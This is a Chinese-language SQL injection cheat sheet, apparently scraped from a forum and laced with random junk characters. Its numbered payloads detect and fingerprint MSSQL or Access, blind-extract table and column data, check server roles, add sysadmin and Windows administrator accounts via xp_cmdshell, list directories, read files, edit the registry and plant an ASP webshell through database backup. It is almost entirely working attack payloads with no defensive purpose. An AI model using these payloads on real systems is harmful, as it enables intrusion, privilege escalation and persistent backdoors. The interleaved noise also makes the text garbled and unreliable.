手工脚本注入 3 h. F* J2 j, B& V& G: m; F4 O
1.判断是否有注入;and 1=1 ;and 1=2 2 D: h- j- H$ o$ n4 d
6 J- m$ p1 k' Q0 O+ ]1 J9 q% C: }1 Z
2.初步判断是否是mssql ;and user>0
3 R- M! o+ v9 L( ^, ~+ `- _5 @* y+ \+ y$ g, w
3.注入参数是字符'and [查询条件] and ''=' / `# {8 Y: h6 o) y& \3 W
# B, r; c" @6 q0 `( M' H$ K4.搜索时没过滤参数的'and [查询条件] and '%25'=' Y" ]' c6 A1 L6 K* z5 b
& |- a4 a$ z% J& \+ n
5.判断数据库系统 ( j( f( Y, V4 \; Q
;and (select count(*) from sysobjects)>0 mssql
( z0 h/ \, ]9 D4 S;and (select count(*) from msysobjects)>0 access
' A2 }5 d8 k+ n" q( \% V( J* |: }; ?! Y7 z5 R( j% c
6.猜数据库 ;and (select Count(*) from [数据库名])>0
+ g/ P4 |6 Y {( t, b
+ W6 V; l3 q2 B2 K+ N. K! }1 e7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8 T% d9 y: I1 A1 j" o Z
+ y8 U/ q) `6 Z5 l4 _8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
2 ~" k# ^$ ]& x' B) b0 _- G: R$ K( a$ i/ a* Q2 ?
9.(1)猜字段的ascii值(access)
. X( w/ v4 N, a! e8 M;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
5 u( [+ j1 {; U6 ?0 ~4 i; N! |0 @. V# O
(2)猜字段的ascii值(mssql) 6 A( L- u E5 t7 r0 @. i j
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 B! r4 e4 j, a/ M+ a
( l% h" W O$ Z7 Z+ e+ R10.测试权限结构(mssql)
# S z, L; L4 }1 I# z3 K3 _;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ; G5 C2 j: F* A8 P7 R3 h
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& v$ S3 H7 ]5 @8 G! h- C1 ?, J2 N. d;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; F0 m" t! T7 y- \
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- & ~! y: D4 n( \* v# k9 b: |8 S1 R
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- - ^3 G3 r& B5 e
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
/ p1 X& Y$ p% S% e. v: p;and 1=(select IS_MEMBER('db_owner'));--
4 U( a% U8 F" Z& r) Q' g% x$ l& |/ B$ l6 q4 b4 A/ y8 w
11.添加mssql和系统的帐户
2 L& |5 r" ?# Q: }# v2 b;exec master.dbo.sp_addlogin username;--
. a" Q: E- Q+ @. p$ O4 c# s9 v- Y+ y
;exec master.dbo.sp_password null,username,password;-- # w6 r" ]7 M4 e# q
. @; ?/ M, o8 _0 c7 U;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" ?6 Y6 O9 f. d% |/ _5 G4 J# T. q
2 K0 d! H) m3 q) |;exec master.dbo.xp_cmdshell 'net user username password
) n6 _% b( o1 Y2 M; z/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ' G2 P* B& L% A5 E
/ g: t& Q( D3 J6 @) u; s# D;exec master.dbo.xp_cmdshell 'net user username password /add';--
5 q2 r9 u5 w1 L8 \3 m
2 w: j9 o) U, B;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 h6 i8 \3 t" W: R5 w0 z, _; H3 k; M
12.(1)遍历目录 ( ` m0 M% }$ m1 j7 K; q! g
; m& v; A5 i, f- g;create table dirs(paths varchar(100), id int) 4 ~& A/ \2 ^2 x: M: b, ~& ], v/ s
;insert dirs exec master.dbo.xp_dirtree 'c:\'
1 |7 c$ E$ R/ f; o$ \ Z1 C;and (select top 1 paths from dirs)>0
: M' j1 \6 c, }" q/ n5 {;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
+ D$ n$ n/ q/ F3 b# @: d* _: Q4 l! ^. Q# N! q8 I- y
(2)遍历目录 5 Z5 e, V) D7 q# Z# \. p
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
% Y: L- i* J) E2 `. Y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 " |) i& O. }( ]- {0 Z$ L
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 R2 F I+ R' F8 O;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + y0 ]% B) y3 X F% W; s
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
3 X N+ F4 S9 H3 x( O2 d5 b$ H- |8 l8 v2 W' |# {
13.mssql中的存储过程
" O1 F1 k; Y5 [) y+ j) q6 o, _6 r& F, s, r9 R1 K$ m
xp_regenumvalues 注册表根键, 子键
( _$ |% u1 ]- \- \;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
3 O* T! E3 i; ^: T8 f7 B; ~1 p- P! t6 Q7 E
xp_regread 根键,子键,键值名 - M% B, x" Y" ~+ h% Q8 h
;exec xp_regread ( }. j( }1 s/ o P
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $ h; I. h2 S G& ]+ g$ a; @* K5 E0 L
5 A$ N: a0 q0 a2 A, E
xp_regwrite 根键,子键, 值名, 值类型, 值
2 r% ]& n3 H' a' i值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& h) s$ f Z2 r4 [;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4 b' r3 N* n( @$ a! U3 p9 O
1 f1 J7 C) I3 axp_regdeletevalue 根键,子键,值名
2 |, I' o( S- i. s7 {' C1 D9 V- ^" R# k7 U9 o
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 " P* p# ?3 o2 x; a$ z- w# m
3 I, T8 F p9 {, R) w9 q" w/ G
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
+ \' O" `& h' t
( R# n7 Q& |, z) ]% m14.mssql的backup创建webshell
" X) s1 r6 d; `5 h8 N& a3 M) g6 h! t) Vuse model
: U; x1 R( A! n R/ S3 H) B, y9 ecreate table cmd(str image); / g9 w* S" }3 W
insert into cmd(str) values ('');
4 {3 n: b4 V7 t% S+ p; w7 Zbackup database model to disk='c:\l.asp';
( A% ?2 h5 v' j B/ M! P4 `) u% r
- @' c8 {3 Q& n0 ?9 t4 X2 p15.mssql内置函数
+ c+ l) u+ u5 `) }7 T/ H;and (select @@version)>0 获得Windows的版本号 , i* ~ p4 x, i0 f+ k5 J- L3 {* M
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 t% S% Q" ~2 ^/ P2 ]) q;and (select user_name())>0 爆当前系统的连接用户
1 _! M- D) }: m- n3 v4 z! ^" F# r;and (select db_name())>0 得到当前连接的数据库 # {+ I2 {! {2 h3 J# e
! }1 @# b- ]. g3 d2 ] ?16.简洁的webshell % d7 Y. |5 Y$ ]/ Z" k! i7 ~
" y$ |, h' E$ ~' S
use model , h; S8 k! O6 a9 ]6 s
* S$ d+ \6 O9 [7 mcreate table cmd(str image); % g; I V1 _; w6 q, B) S
8 X6 \2 D$ t* Q, h, ~9 m& T
insert into cmd(str) values ('');
5 T8 @9 [: B' m$ h" j7 u1 |* |. k3 ~- W# h
backup database model to disk='g:\wwwtest\l.asp';
7 G8 p) O" v( C: f; N& }
/ z1 ~5 }2 c% y( c" c |